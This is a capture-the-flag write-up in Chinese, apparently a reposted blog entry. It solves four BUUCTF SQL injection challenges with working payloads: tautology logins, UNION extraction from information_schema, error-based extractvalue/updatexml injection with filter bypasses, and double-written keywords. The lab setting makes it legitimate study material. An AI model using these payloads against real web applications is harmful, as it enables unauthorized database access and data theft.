自学内容网 自学内容网

BUUCTF_SQL注入

1.[强网杯 2019]随便注1

题型同攻防世界的supersqli一致,详细过程看攻防世界_SQL注入

1.输入1

41c094405c5f40768264b97b08dd9dd6.png

 2.测试字段数,从1开始按顺序输,到3时报错,说明字段数为2.

1' order by 1 #

 

3.union注入,回显了过滤的关键字。

1' union select 1,2#

 

4.通过show databases爆出数据库。

0'; show databases; #

 

5.用 show tables 尝试爆表。

0'; show tables; #

 

(其上是各种尝试)

6.输入1' or 1 = 1,测试一下是否存在sql注入。

提交后提示error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1,说明后端参数后面有可能存在其他sql语句,我们在1' or 1 = 1后面加一个#,将可能存在的其他sql语句注释掉,即:1' or 1 = 1#,成功输出了该表的所有数据,有flag

输入1‘ or 1=1;# 得flag

 

 

 

2.[极客大挑战 2019]LoveSQL1

1.尝试用户名输入万能密码'or'1'='1'#

          密码随便输入

b3e9089e77b7450892a79e1a85627dfb.png

 发现用户名admin,密码17b4d307cc8b8f2b2428e9e38c0816d3,但不是flag。

 

2.在用户名处输入1,1',1"判断闭合方式

输入1'时报错,说明为''

0911ada286d44302871e303023146def.png

4c2603d9cdde4a93add9ac5fb7f963e5.png 

 

3.判断字段数,从1开始按顺序输,到4时报错,说明字段数为3。

1' order by 3 #

a5b9dee520384565b776015b54d52a6a.png

1' order by 4 #

402f365bf6cf49b598d219751e8e9fb0.png

 

4.查看回显

用户输入1' union select 1,2,3 #

密码随意值

97429cfa343b4ee0be9153d2e6e8a6c8.png

 

5.查看库名:

1' union select 1,2,database() #

990340410ffd41d998346e9f18af1e61.png

 

6.查找表名:

1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()) #

c7cab9e9e6a84b5fb62f4228881d45b4.png

 

7.查找列名:

1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='l0ve1ysq1') #

aaeb70117b6e457186832c8df1937207.png

 

8.得flag:

1' union select 1,2,(select group_concat(id,username,password) from l0ve1ysq1) #

e20926bcda054c5797f2b2308a882638.png

 查看页面源代码,复制flag。

(或者按F12,在URL处输入,其中#改为%23)

 

 

3.[极客大挑战 2019]HardSQL

1.尝试一下万能密码,不能用

双写再试一下发现也不行

 

2.(1)特殊字符测试:尝试输入一些SQL关键字(如 SELECT 、 INSERT 、 UPDATE 、 DELETE )、特殊符号(单引号 ' 、双引号 " 、分号 ; 、注释符号 -- 或 /* */ )。如果输入这些内容后,系统没有按照预期返回结果(如正常应该返回数据,但却返回错误提示或空结果),或者页面显示不正常,那么很可能这些字符被过滤了。

 

(2)使用Burp查看被过滤字符。

发现select、ascii、空格、=等被过滤

再加上之前页面的报错

就确定了需要用报错注入来做

随后构造注入语句

因为“=”、“空格”被过滤了

所以就用常用的" like "和" () "来绕过

 

3.查找数据表名

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))#

1'^(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#

ae473b36cb484069aa57707bd70bf769.png

 

4.查找列名

1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#

1'^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))#

cc15607fb3d84a0fa2074674393c16fc.png

 

5.查看内容

1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#

a5fbf4f2ec054a14a1ed6ebac6c9561b.png

 输入后会发现他只给了你前半段的flag

因为extractvalue函数限制了一次字符串只能输出32位。

只需要使用left和right函数即可,{left(),right()}

最终语句为

1'^extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))))#

1'^(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))),1))#

35ff97fd05484b94a68a6f1e3cfe6406.png

 拼接输入flag,发现不对,猜测中间还有

将30改为32

b14ca2574cbc4d07b62100d915f603b0.png

 尝试改35,发现与flag的前一部分相同。

3136b6fd41d648deb34eb3191725042d.png

 (我之前是直接拼接,没有去掉中间相同的部分。)

找flag的前后衔接处,拼接

最终得flag{8fdce764-338d-4a9c-9a02-17c9ce971b23}

 

 

4.[极客大挑战 2019]BabySQL

1.判断闭合方式

可在用户名处注入,也可在密码处注入。前者

用户名输入1,密码任意值,正常回显页面。

0ab89e71b44d449f8d89fdb037391ec0.png

 用户名输入1'密码任意值,报错。

 

2.尝试万能密码,报错,说明and or都有可能被过滤。

例:an(and)d,括号不用加)

输入1' oorr 1=1 # 

db2be3253d594fb5996584379c6cb746.png

 

3.判断字段数

0502fa741f084b1db624547170af7f03.png

order 变成了der,or被吞了,by被吞了,双写绕过

b01b7b5796854001be15e96491bdd7f3.png

 86cdd61b5b9040798645e9471905034d.png

字段为3。

 

4.查找数据库名

1' union select database(),1,2 #报错,可能是union或者select中一个或者都是

经过尝试发现在union和select都双写后成功注入。

1' ununionion seselectlect database(),1,2 #

1' ununionion seselectlect 1,database(),2 #

1' ununionion seselectlect 1,2,database() #

fe148243b629426b8ef4e517a69dcd58.png

8636c8cd7ede45d5b77c754883e235c2.png 

fc6a070eca7c442da1f1d42f33e3ac9d.png 发现一号位不是回显点,二三号位都是回显点。

 

5.查找数据表名

查询“geek”库下的表:

1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#

3eed519cac03488c80471212d4c107ab.png

 

6.查找列名

这两个表:'b4bsql,geekuser',题目名叫baby SQL,猜测要找到flag在“b4bsql”中,所以查询b4bsql:

1' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

0d356e1aa7c4429e8f52325e46b371f5.png

 

7.查询username,password中的内容

1' ununionion seselectlect 1,2,group_concat(username ,id , passwoorrd) frfromom b4bsql#

13ccfb842784404082e7acd00d65e2da.png

得flag。


原文地址:https://blog.csdn.net/2401_87524087/article/details/145209601

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!